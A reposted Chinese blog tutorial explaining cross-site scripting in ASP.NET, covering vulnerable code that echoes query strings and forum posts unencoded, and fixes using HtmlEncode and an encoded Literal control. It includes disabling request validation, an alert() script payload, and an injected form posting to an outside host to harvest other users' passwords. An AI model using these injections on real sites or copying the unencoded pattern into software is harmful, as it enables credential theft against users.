码迷,mamicode.com
首页 > 其他好文 > 详细

XSS漏洞(跨站脚本)

时间:2017-05-11 22:27:51      阅读:209      评论:0      收藏:0      [点我收藏+]

标签:定向   net   复制   name   xss漏洞   识别   src   asc   action   

不要轻信用户提交上来的数据
alert消息太难看,因此开发一个aspx页面用来统一展示消息ShowMessage.ashx

技术分享
//主页将判断重定向到另一个页面
if (TextBox1.Text != "gao")
{
    Response.Redirect("sey.aspx?Name=密码不正确!");
}

//在ShowMessage.aspx进行验证
Label1.Text = Request["Name"];    //将Name值显示在Label1控件里面
技术分享

由于现在ASP.NET中以经屏蔽了查询语句里含有脚本,如 Name=<script> 是不行的需要手动关闭该功能,在 网页的 Page 里面设置 ValidateRequest="false" 停用查询语句的验证

利用:
http://127.0.0.1/ShowMessage.aspx?Name="hello" //将会在 Label1 里面显示hello
也可以写入一段代码,如<script type="text/javascript">alert(‘你好!‘)</script>
不过一定要加密,只识别加密的 http://www.hao123.com/haoserver/jmjm.htm 这里可加密解密
也可以写入一个表单,如<form action="http://xgao.com/hehe.aspx"> 并且再设置一些文本框
让用户输入账号,密码,这样就可以得到别人的账号密码了!

论坛评论:
如: File.AppendAllText("c:/11.txt",TextBox1.Text); //将用户的文章写入数据库
Response.Write(File.ReadAllText("c:/11.txt")); //将用户的文章显示出来
从上面可以看出,如果用户的文章里含有 <script> 没加密的,显示的时候也可执行

解决:

string s = File.ReadAllText("c:/11.txt");
HttpUtility.HtmlEncode(s);); //将用户的文章转换成html编码,这样就显示的结果就是原文章
HttpUtility.HtmlEncode(s)    //将字符串s中的< > 等特殊字符转换&gt;等成转义符
HttpUtility.HtmlDecode(s)    //再将转换后的转换回来

除了使用HttpUtility.HtmlDecode进行手动编码的话,还可以使用 Literal 控件显示,
需要修改Literal的Mode属性为 Encode 那么就会自动进行 HtmlEncode 然后显示
上面的这两个例子就是 XSS(跨站脚本, Cross-site scripting)

XSS漏洞(跨站脚本)

标签:定向   net   复制   name   xss漏洞   识别   src   asc   action   

原文地址:http://www.cnblogs.com/yezuhui/p/6842710.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!